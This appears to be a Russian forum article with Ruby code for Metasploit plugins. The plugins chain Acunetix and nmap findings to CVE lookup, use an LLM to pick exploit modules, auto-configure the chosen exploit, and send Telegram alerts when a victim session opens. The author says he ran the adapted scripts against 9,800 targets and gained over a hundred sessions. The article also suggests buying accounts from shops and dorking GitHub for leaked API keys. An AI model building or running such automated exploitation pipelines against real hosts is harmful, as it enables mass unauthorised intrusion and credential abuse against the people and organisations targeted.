if vuln_index < 1 || vuln_index > @cached_vulns.size
print_error("Invalid vulnerability number")
return
end
vuln = @cached_vulns[vuln_index - 1]
end
vuln_id = vuln['vuln_id']
show_vuln_details(vuln_id, extended: extended)
end
def show_vuln_details(vuln_id, extended: false)
data = acunetix_api_request("/vulnerabilities/#{vuln_id}", nil) || {}
if data.empty?
print_error("Failed to fetch vulnerability details")
return
end
print_good("\nVulnerability Details:")
print_line(" Name: #{data['vt_name'].to_s}")
print_line(" Severity: #{data['severity'].to_s}")
print_line(" Status: #{data['status'].to_s}")
print_line(" Confidence: #{data['confidence'].to_s}")
print_line(" Found at: #{data['found_at'].to_s || data['first_seen'].to_s}")
print_line(" Affects URL: #{data['affects_url'].to_s}")
print_line("\nDescription:")
print_line(word_wrap(data['description'].to_s, indent: 2))
if data['impact']
print_line("\nImpact:")
print_line(word_wrap(data['impact'].to_s, indent: 2))
end
# if data['recommendation']
# print_line("\nRecommendation:")
# print_line(word_wrap(data['recommendation'].to_s, indent: 2))
# end
if extended
if data['cvss_score']
print_line("\nCVSS Scores:")
print_line(" CVSS2: #{data['cvss2'].to_s} (#{data['cvss_score'].to_s})")
print_line(" CVSS3: #{data['cvss3'].to_s}")
print_line(" CVSS4: #{data['cvss4'].to_s} (#{data['cvss4_score'].to_s})")
end
if data['request']
print_line("\nRequest:")
print_line(word_wrap(data['request'].to_s, indent: 2, line_width: 100))
end
if data['response']
print_line("\nResponse:")
print_line(word_wrap(data['response'].to_s, indent: 2, line_width: 100))
end
if data['references'] && !data['references'].empty?
print_line("\nReferences:")
data['references'].each do |ref|
print_line(" - #{ref['rel'].to_s}: #{ref['href'].to_s}")
end
end
if data['tags'] && data['tags'].any?
print_line("\nTags:")
print_line(" #{data['tags'].join(', ')}")
end
else
print_line("\n(Use `acu_vuln_show <n> extended` for full details.)")
end
end
Переходим к самому интересному. На основе уязвимости попытаемся реализовать механизм подбора и автоматической настройки эксплоита.
Для тестов, возьмем старый добрый Metasploitable 2, который и был создан для эксплуатации метасплоитом. Как установить описано во множестве материалов. После установки нужно просканировать окунем. Для наглядности, в hosts прописал metasploitable2.com
Как может работать алгоритм по подбору эксплоита?
Перед нами стоит большое количество проблем, многие из которых не получится решить универсально. Мы сможем сделать только компромиссный вариант, нацеленный на некоторые виды уязвимостей. Хорошая новость в том, что постепенно его можно наполнять и наполнять. Для статьи используем CVE-2012-1823, которая классически используется для демонстрации возможностей Metasploit.
Первое, что приходит в голову, это поиск по CVE. Многие уязвимости в Acunetix имеют в своем описании ссылки на существующие CVE. Вычленив номер из уязвимости, мы можем покопаться в framework.modules. Учитывая, что Acunetix может запихать CVE почти куда угодно, проверять будем сразу множество полей (тэги, название уязвимости, описание и ссылки):
Ruby:
def extract_cves(vuln)
cves = []
if vuln['tags']
vuln['tags'].each do |tag|
tag.to_s.scan(/CVE[-\s_]?(\d{4})[-\s_]?(\d{4,7})/i).each do |year, id|
cves << "CVE-#{year}-#{id}"
end
end
end
vuln['vt_name'].to_s.scan(/CVE[-\s_]?(\d{4})[-\s_]?(\d{4,7})/i).each do |year, id|
cves << "CVE-#{year}-#{id}"
end
[vuln['description'], vuln['details']].each do |text|
text.to_s.scan(/CVE[-\s_]?(\d{4})[-\s_]?(\d{4,7})/i).each do |year, id|
cves << "CVE-#{year}-#{id}"
end
end
if vuln['references']
vuln['references'].each do |ref|
ref['rel'].to_s.scan(/CVE[-\s_]?(\d{4})[-\s_]?(\d{4,7})/i).each do |year, id|
cves << "CVE-#{year}-#{id}"
end
end
end
cves.uniq
end
Когда у нас есть список найденyых CVE, можно заняться поиском подходящего эксплоита.
Но есть нюанс. В этом массиве храняться только имена модулей. Чтобы посмотреть метаданные, нужно загрузить этот модуль. Тогда и только тогда будет возможность проверить совпадение по нашему CVE.
Ruby:
def find_exploits_by_cve(cve)
return [] unless cve
unless cve.is_a?(String)
raise ArgumentError, "find_exploits_by_cve expects a String argument, got #{cve.inspect}"
end
normalized_cve = cve.gsub(/^CVE-/i, '')
exploits = []
framework.modules.module_names('exploit').each do |name|
begin
mod = framework.modules.create("exploit/#{name}")
next unless mod.respond_to?(:references)
if mod.references.any? { |ref| ref.ctx_id == 'CVE' && ref.ctx_val == normalized_cve }
exploits << "exploit/#{name}"
print_good "Matched exploit: exploit/#{name} for CVE-#{normalized_cve}"
end
rescue => e
print_error "Failed to load module exploit/#{name}: #{e}"
end
end
exploits
end
Процесс поиска проходит на основании объекта references, который содержит ссылки (описания) на внешние ресурсы, связанные с CVE, CWE, BID, MSB, WPVDB и т.д. Помимо ctx_id и ctx_val, есть геттер site, который содержит ссылку на ресурс с описанием уязвимости. Вот кусок файла описывающего объект /usr/share/metasploit-framework/lib/msf/core/module/reference.rb
Ruby:
def initialize(in_ctx_id = 'Unknown', in_ctx_val = '')
self.ctx_id = in_ctx_id
self.ctx_val = in_ctx_val
if in_ctx_id == 'CVE'
self.site = "https://nvd.nist.gov/vuln/detail/CVE-#{in_ctx_val}"
elsif in_ctx_id == 'CWE'
self.site = "https://cwe.mitre.org/data/definitions/#{in_ctx_val}.html"
elsif in_ctx_id == 'BID'
self.site = "http://www.securityfocus.com/bid/#{in_ctx_val}"
elsif in_ctx_id == 'MSB'
year = in_ctx_val[2..3]
century = year[0] == '9' ? '19' : '20'
self.site = "https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/#{century}#{year}/#{in_ctx_val}"
Т.е., при желании, можно значительно расширить возможности поиска.
Необходимость загружать модули сильно замедляет процесс. Если сравнить поиск с “search cve:”, разница будет существенной. В рамках статьи оставлю реализацию как есть, но при желании можно использовать костыли… например, системно выполнить searchsploit и распарсить результат. Или воспользоваться этим плагином:
Ruby:
require 'msf/core'
module Msf
class Plugin::MetasploitModule < Msf::Plugin
class CVEExploitMapperCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
def name
"CVEExploitMapper"
end
def commands
{
"map_cve_exploits" => "Scan all exploit modules and save CVE to module mappings"
}
end
def cmd_map_cve_exploits
output_file = ::File.join(Msf::Config.config_directory, "cve_exploit_map.txt")
mapped = {}
print_status("Scanning exploit modules...")
framework.modules.module_names('exploit').each_with_index do |name, index|
fullname = "exploit/#{name}"
begin
mod = framework.modules.create(fullname)
next unless mod && mod.respond_to?(:references)
mod.references.each do |ref|
if ref.ctx_id == 'CVE'
cve = ref.ctx_val.strip.upcase
mapped[cve] ||= []
mapped[cve] << fullname unless mapped[cve].include?(fullname)
print_good("#{cve}: #{fullname}")
end
end
rescue ::Exception => e
print_error("Failed to load #{fullname}: #{e}")
end
end
print_status("Saving results to: #{output_file}")
::File.open(output_file, "w") do |f|
mapped.sort.each do |cve, modules|
modules.each do |mod|
f.puts "#{cve}:#{mod}"
end
end
end
print_good("Done. Found #{mapped.keys.size} unique CVEs.")
end
end
def initialize(framework, opts)
super
add_console_dispatcher(CVEExploitMapperCommandDispatcher)
print_status("CVEExploitMapper plugin loaded. Use command: map_cve_exploits")
end
def cleanup
remove_console_dispatcher('CVEExploitMapper')
end
end
end
Это плагин создаст файл, в который выгрузит все названия модулей и CVE в таком формате:
2024-8504:exploit/unix/webapp/vicidial_agent_authenticated_rce
2024-8517:exploit/multi/http/spip_bigup_unauth_rce
2024-8856:exploit/multi/http/wp_time_capsule_file_upload_rce
2024-9474:exploit/linux/http/panos_management_unauth_rce
2025-0655:exploit/linux/http/dtale_rce_cve_2025_0655
2025-1094:exploit/linux/http/beyondtrust_pra_rs_unauth_rce
2025-24813:exploit/multi/http/tomcat_partial_put_deserialization
2025-27218:exploit/windows/http/sitecore_xp_cve_2025_27218
2025-27520:exploit/linux/http/bentoml_rce_cve_2025_27520
2025-2945:exploit/multi/http/pgadmin_query_tool_authenticated
2025-3248:exploit/multi/http/langflow_unauth_rce_cve_2025_3248
Останется только в плагине отфильтровать данные из файла и вытащить полные названия. А мы идем дальше.
Напишем функцию активации и протестируем:
Ruby:
def activate_exploit(module_name, vuln_data = nil)
begin
driver.run_single("use #{module_name}")
if vuln_data
if vuln_data['affects_url']
driver.run_single("set RHOSTS #{URI.parse(vuln_data['affects_url']).host}") rescue nil
driver.run_single("set TARGETURI #{URI.parse(vuln_data['affects_url']).path}") rescue nil
end
end
available_port = find_available_port
if available_port
driver.run_single("set LPORT #{available_port}")
print_status("Auto-selected available LPORT: #{available_port}")
else
print_warning("Could not find available port. You may need to set LPORT manually.")
end
return true
rescue => e
print_error("Error activating exploit: #{e}")
return nil
end
end
Я не стал заморачиваться и использовал возможность выполнить команду прямо в консоли при помощи драйвера. Помните передавали для создания объекта? Вот, пригодился.
Само использование команды вряд ли требует пояснений. Просто пишем команду, которая нам нужна и все, для msfconsole это тоже самое, как если бы пользователь вбил данные.
Кстати, плагин в автоматическом режиме ищет свободный порт. Функция поиска порта:
Ruby:
def find_available_port(min_port = 1337, max_port = 7777)
port = min_port
used_ports = []
framework.sessions.each do |sid, session|
if session.tunnel_local && session.tunnel_local =~ /:(\d+)$/
used_ports << $1.to_i
end
end
while port <= max_port
unless used_ports.include?(port) || !port_open?(port)
return port
end
port += 1
end
raise "No free port found in range #{start_port}-#{max_port}"
end
def port_open?(port)
begin
server = TCPServer.new('0.0.0.0', port)
server.close
return true
rescue Errno::EADDRINUSE, Errno::EACCES
return false
end
end
Минимальное и максимальное значение взято случайным образом. Функция получает все занятые порты сессиями, чтобы не пересекаться с ними. После проходит по списку портов, пытаясь создать на каждом сервер. Если сервер создается и порт не относится к существующей сессии, функция считает порт доступным для использования. Не забудьте в начале плагина импортировать библиотеку ‘socket’.
В плагине отсутствует получение IP адреса для установки LHOST. Это сделано из-за того, что может быть разная конфигурация сетевых устройств. Но, в теории, можно было бы использовать что-то типа такого:
Ruby:
def local_ip
udp = UDPSocket.new
udp.connect('8.8.8.8', 1)
ip = udp.addr.last
udp.close
ip
end
Результат тестирования:
Ругательства метасплоита, в процессе поиска, как раз таки связаны с необходимостью загружать модули в память. Оно не всегда выскакивает, но если выпало, не пугайтесь - все идет по плану.
Как видно на скрине, в конце у нас изменилось приглашение, а значит эксплоит активировался. Если посмотреть опции, плагин их так же установил:
Если у нас нет CVE, скорее всего уязвимость не подойдет для эксплуатации и создания сессии в Метасплоит. Не могу гарантировать, но вроде как всем эксплуатируемым уязвимостям Acunetix указывает CVE. В ином случае придется заниматься фаззингом по ключевым словам. Брать тэги, брать части названия и шерстить по модулям. Но этот процесс может сильно затянуться, поэтому писать код под него не вижу смысла. Если появится желание его дописать, важно придумать алгоритм вычлинения ключевых слов, а процесс поиска будет крайне схож с поиском по CVE: загрузили модуль в память, посмотрели совпадения. Можно попытаться поискать совпадения и в самому пути к эксплоиту.
Что касается устанавливаемых опций, я использовал минимальный набор. Но, ради интереса, написал плагин, который собирает все уникальные опции эксплоитов. Всего получилось 1307 вариаций. Плагин в приложенном архиве, как и файл со списком.
Нейромозг
Раз у нас началась полная вакханалия, почему бы не попытаться поднять точность срабатываний через нейронные сети? По хорошему, заморочиться и натренировать тот же LLama… по хорошему… если бы уметь это делать)))) Но есть OpenAI с достаточно хорошими познаниями в отношении Metasploit и доступными эксплоитами. Вот сравнение ответов общедоступного ChatGPT с подобным LLama 3.3 без предварительной тренировки:
Без накачки знаниями, модель llama ничерта не знает о модуля метасплоита. Возможно есть готовые подходящие модели на huggingface, я не нашел.
С промптами к gpt нужно быть внимательным, иначе может случиться казус:
Потребуется платный аккаунт, который можно поискать в разных шопах за адекватные деньги. Либо взять какой-то агрегатор нейронок. Я нашел агрегатор в котором достаточно было подтвердить номер телефона и получить стартовый баланс в 20 рублей, чего за глаза хватает для моей задачи. Это не реклама, даже не отзыв о сервисе, сделал в нем всего пару десятков запросов чтобы получить рабочий вариант плагина.
Начнем с упрощения функции поиска эксплоита, удалив все лишнее:
Ruby:
def cmd_acu_find_exploit
if @selected_vuln.nil?
print_error("No vulnerability selected. Use 'acu_vuln_select' first.")
return
end
vuln = @selected_vuln
exploit = ai_gen_exploit_name
mod = activate_exploit(exploit, @selected_vuln)
if mod
print_good("Exploit module ready. Run 'exploit' to start.")
@active_exploit_module = mod
@pending_exploits = nil
else
print_error("Failed to activate exploit.")
end
end
Рассматривать API сервиса не вижу смысла, так как нам от него нужна всего одна функция и один типовой запрос. Единственный нюанс, я сделал ставку не на лонг-пулинг, а на синхронный запрос. Задача не сложная и ответ от нейросети будет коротким, поэтому проблем возникнуть не должно. Так же не заморачивался с температурами и прочими параметрами.
Функция запрашивающая название модуля эксплоита у AI:
Ruby:
def ai_gen_exploit_name
return nil unless @selected_vuln
vuln = @selected_vuln
title = vuln['vt_name']
description = vuln['description'] || ''
tags = vuln['tags'] || []
references = vuln['references'] || []
rels = references.map { |r| r['rel'] }.compact
prompt = <<~PROMPT
You are helping a Metasploit plugin select the best matching exploit module based on a given vulnerability.
Please analyze the vulnerability based on these fields:
- Title: #{title}
- Description: #{description}
- Reference tags: #{rels.to_json}
- Tags: #{tags.to_json}
Return the most relevant Metasploit exploit module path, like `exploit/unix/webapp/phpinfo_exec`, or return "None" if no relevant module exists. Return only the module path or "None".
PROMPT
body = {
"messages": [
{
"role": "user",
"content": prompt
}
],
"is_sync": true,
"stream": false,
"n": 1,
"frequency_penalty": 0,
"max_tokens": 1024,
"presence_penalty": 0,
"temperature": 0.7,
"top_p": 1,
"response_format": "{\"type\":\"text\"}"
}.to_json
uri = URI('https://api.gen-api.ru/api/v1/networks/o1')
req = Net::HTTP::Post.new(uri)
req['Authorization'] = "Bearer #{@ai_token}"
req['Content-Type'] = 'application/json'
req.body = body
print_status("Sending request to neural network...")
print_status("Request URL: #{uri}")
print_status("Request headers:")
req.each_header { |key, value| print_status(" #{key}: #{value}") }
print_status("Request body:\n#{body}")
print_status("Waiting for neural network response...")
begin
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
res = http.request(req)
print_status("Received response:")
print_status("HTTP #{res.code} #{res.message}")
res.each_header { |key, value| print_status(" #{key}: #{value}") }
print_status("Response body:\n#{res.body}")
if res.is_a?(Net::HTTPSuccess)
data = JSON.parse(res.body)
output = data.dig("response", 0, "message", "content").to_s.strip
output = output.gsub(/\\\//, '/').gsub(/^['"]|['"]$/, '')
if output =~ %r{\Aexploit\/[a-z0-9_/-]+\z}i
return output.downcase
elsif output.strip.downcase == "none"
return "None"
else
print_warning("Unexpected neural response: #{output}")
return nil
end
else
print_error("AI request failed: #{res.code} #{res.message}")
return nil
end
rescue => e
print_error("Exception during AI exploit selection: #{e}")
return nil
end
end
end
Я не силен в написании промптов, поэтому попросил написать его ChatGPT. Возможно, можно сильно сократить с целью экономии денег. Модель я использовал “о1”, можно попробовать chat-gpt-3, чтобы было подешевле.
Остается прописать API ключ и выполнить тест:
Иииха, все четко работает. Неприятна только цена в почти 9 рублей за генерацию. Можно, конечно, выкинуть описание ошибки. В нем много лишнего, что жрет токены. Но, что интересно, предыдущая попытка запроса стоила меньше 4х рублей. Может сервис что-то мутит. Но повторюсь, это просто первый попавшийся сервис. Главное, что мы добились своей цели — скрестили Acunetix, Metasploit и нейросеть.
Можно попробовать поискать на github слитые ключи, или попробовать дорками покопать (что-то вроде “site:github.com key sk-”), варианты есть, но конечно же не советую и осуждаю.
Использование сторонних сканеров
В обратную сторону мы тоже можем работать, причем в довольно интересном ключе. Почему бы не набросать плагин, который позволит прямо из Метасплоита запускать сторонние сканеры? Большая часть знаний у нас уже есть. Чтобы отправлять в тот же окунь, нужно только научиться получать настроенные в Мете опции. На самом деле это безумно просто, так как у CommandDispatcher есть объект “active_module”, который указывает на, удивительно, модуль активный в данный момент в msfconsole В свою очередь, в нем есть объект с опциями “datastore”, через который можно получить установленные опции.
Ruby:
rhost = active_module.datastore['RHOST']
Кстати, устанавливать опции тоже можно через ‘datasotre’. В предыдущем плагине, после выбора объекта через driver.run_single, мы могли не использовать его же для установки опций, а воспользоваться ‘datastore’. Это более нативный способ, но “тихий”, при использовании run_single пользователь увидит в консоли происходящие изменения, а datastore ничего не сообщит. В случаях полной автоматизации, более предпочтительно работать с active_module,
Объединим знания из предыдущего раздела с новыми и напишем модуль отправляющий таргет на сканирование в окуня.
В чем удобство, если нужно каждый раз загружать плагин? Исправим!
Отредактируйте файл:
Код:
~/.msf4/msfconsole.rc
Если его нет создайте. Если запускаете консоль под sudo, то создавайте файл не в домашней папке текущего пользователя, а в /root/.msf4. msf4 в любом случае, даже если у вас шестая версия, как у меня. В файл прописываем команду загрузки:
Код:
load acu_send
Теперь, при загрузке консоли метасплоит, вы будете видеть сообщение об успешной загрузке плагина:, а значит с плагином все окей.
Что делать, если мы хотим выполнить какую-то программу, у которой нет собственного API? Кто постоянно пользуется Метасплоитом знает, что для этого не нужен никакой сторонний плагин. Можно просто ввести команду, как в обычном терминале Linux и получить результат. Но мы больше о концепциях и возможностях, которые можно реализовывать при помощи плагинов. В данном случае, будем запускать сканирование уязвимостей при помощи nmap с последующим парсингом отчета и автоматическим подбором эксплоита. Плагин так же будет брать данные из активного модуля. Сканировать будем со скриптом “vuln”. “Жертва” снова Metasploitable 2.
Описывать весь код плагина не буду, так как ключевые функции просто скопированы из предыдущих плагинов. Главная информация, это сам запуск nmap и работа с отчетом. Простейший способ, это выполнение команды с генерацией отчета во временный файл с последующим парсингом:
Ruby:
def cmd_nmap_scan(*_args)
@found_exploits = []
unless active_module
print_error("No active module selected. Use 'use <module>' first.")
return
end
rhost = active_module.datastore['RHOST']
unless rhost
print_error("RHOST is not set. Use 'set RHOST <target>' first.")
return
end
command = "nmap -p21,80,443,1099,3632 --script vuln #{rhost} -oX /tmp/nmap_result.xml"
print_status("Launching Nmap scan with: #{command}")
print_status("Please wait for the scan to complete. This may take some time...")
begin
`#{command}`
rescue StandardError => e
print_error("Failed to run Nmap: #{e.message}")
return
end
unless File.exist?('/tmp/nmap_result.xml')
print_error("Nmap did not generate output file")
return
end
parse_nmap_results('/tmp/nmap_result.xml')
display_exploits_table unless @found_exploits.empty?
end
def parse_nmap_results(path)
xml_data = File.read(path)
cve_matches = xml_data.scan(/CVE-\d{4}-\d{4,7}/i).uniq
if cve_matches.empty?
print_status("No CVEs found in the scan results.")
else
print_status("Starting search for exploits...")
cve_matches.each do |cve|
print_line(" #{cve} search exploit")
find_exploits_by_cve(cve)
end
end
end
Выполнили системный запуск команды при помощи обратных кавычек ``, после чего регуляркой вытащил CVEшки. Функция поиска эксплоитов почти идентична функции из прошлого раздела, разве что ищет не только “exploit”, но и “auxiliary”:
Другой интересный кусок кода:
Ruby:
mod.references.each do |ref|
if ref.ctx_id == 'CVE' && ref.ctx_val.sub(/^CVE-/i, '') == normalized_cve
add_exploit(cve, "#{mtype}/#{name}", mod.rank_to_s)
break
end
end
Интересна она получением успешности эксплоита из объекта mod. В нем, на самом деле, есть огромное количество полезных методов. Вот некоторые из них, которые были бы полезны для наполнения вывода плагина:
- mod.privileged - возвращает true, если модуль требует привилегий для выполнения
- mod.options - список доступных параметров конфигурации модуля.
- mod.targets - список поддерживаемых целей, каждая из которых описывает конкретную конфигурацию или платформу, на которую нацелен модуль
- mod.compatible - проверяет совместимость модуля с заданной конфигурацией или платформой
- mod.arch - архитектура, на которую нацелен модуль, например, x86
- mod.platform - платформа, для которой предназначен модуль, например, Windows, Linux.
Отслеживание открытия сессии
Далеко не всегда можно отследить момент успешного открытия сессии. Представьте, что вы пробились на сервер с ограниченным доступом. Нашли вектор в виде бэкапера, который срабатывал по таймеру. Сгенерировали полезную нагрузку в msfvenom и получилось её успешно загрузить. Но, в отличии от лабораторных, ждать пока полезная нагрузка выполнится, можно ооочень долго. Настолько долго, что к чертям все будет забыто.Сделаем плагин, который будет отправлять такие вот уведомления в Телеграм:
Сразу становится понятно, что и где происходит. Указание на сервер Метасплоита нужно на случай, если нужно указать где именно загрузилась сессия)))
Для реализации задумки, нам потребуется объект framework.events, который представляет собой центр событий. При помощи него мы можем подписываться на события происходящие в Мете. Можно отслеживать изменения состояний сессий, эксплоитов и базы данных. Например, при создании сессии, генерируется подобное событие:
framework.events.on_event
Чтобы его перехватить, нам нужно подписаться, дав Метасплоиту понять, что мы готовы обрабатывать событие:
Ruby:
framework.events.add_session_subscriber(self)
Для перехвата, потребуется соответствующая функция:
Ruby:
def on_session_open(session)
print_status("New session opened: #{session.sid}")
end
Чтобы избежать проблем, добавим отписку от обработке событий:
Ruby:
def cleanup
framework.events.remove_session_subscriber(self)
end
Всё! Так легко и просто можно обрабатывать открытие сессии. Для завершения нашего плагина нужно дописать получение данных из объекта сессии и отправку в телегу:
Ruby:
def on_session_open(session)
return unless @active
begin
session_info = gеt_session_info(session)
message = "🚀 <b>New session opened!</b>\n\n" +
"<b>Host:</b> #{session_info[:host]}\n" +
"<b>Platform:</b> #{session_info[:platform]}\n" +
"<b>Type:</b> #{session_info[:type]}\n" +
"<b>Via:</b> #{session_info[:via]}\n" +
"<b>Session ID:</b> #{session_info[:session_id]}\n" +
"<b>TTY:</b> #{session_info[:tty]}\n" +
"<b>Info:</b> #{session_info[:info]}\n" +
"<b>UUID:</b> #{session_info[:uuid]}\n\n" +
"<b>Metasploit Server:</b> Test227"
print_line(message.inspect)
send_telegram_message(message)
print_status("Notification sent to Telegram for session #{session_info[:session_id]}")
rescue => e
print_error("Failed to send notification: #{e.message}")
end
end
private
def gеt_session_info(session)
{
host: session.session_host,
platform: session.platform,
type: session.type,
via: session.via_exploit,
session_id: session.sid,
tty: session.try(:tty) || 'N/A',
info: session.try(:info) || 'N/A',
uuid: session.try(:uuid) || 'N/A'
}
end
Из важных новшеств, стоит обратить внимание на изменения в диспетчере:
Ruby:
class << self
attr_accessor :plugin_instance
end
def initialize(driver)
super(driver)
@plugin = SessionNotifierCommandDispatcher.plugin_instance
end
Что здесь происходит? Мы создаем статическую переменную (да простят меня адепты Ruby), чтобы через нее передать инстанс нашего основного объекта плагина. Это нужно для того, чтобы из диспетчера были доступны переменные отвечающие за состояние бота. После, переменные плагина будут доступны следующим образом:
Ruby:
@plugin.bot_token = bot_token
@plugin.chat_id = chat_id
@plugin.active = true
Перед добавлением диспетчера нужно не забыть выполнить присвоение:
Ruby:
SessionNotifierCommandDispatcher.plugin_instance = self
add_console_dispatcher(SessionNotifierCommandDispatcher)
Вот как будет выглядеть работа в консоли Metasploit.
Как выглядит само уведомление, можно увидеть выше.
Заключение
Вот и подошло к концу наше исследование. Если честно, в какой-то момент я себя жестко обрубил, так как материала было слишком много. Хотелось добавить еще и еще, но это постепенно превращало статью из концептуальной в справочную. Да и функционал от плагина к плагину все чаще копировался, а писать один и тот же код, рассматривая его под разными углами, это уже моветон.Мы и так написали несколько очень крутых плагинов. Попробовали разные варианты взаимодействия с внешним программным обеспечением, познакомились с внутренним устройством объектов Метасплоита, протестировали работу с событийной моделью. Теперь дело за малым, адаптировать плагины под себя. Я уже писал, что слегка адаптировав скрипты из статьи, прошелся по базе из 9800 таргетов и нашел чуть больше сотни новых сессий. Причем, в практически автоматическом режиме. Скорее всего, это следствие невнимательности, лени или недостаточного опыта при прошлых попытках работы. Но даже с учетом этого, мне кажется, довольно неплохой улов, учитывая что скрипты останутся у меня и почти не требуют никаких дополнительных мучений.
Обязательно напишите, как вам статья. Пока прощаюсь с вами, но скоро будет еще один материал про Метасплоит, который точно не оставит никого равнодушным. Надеюсь вам понравилось)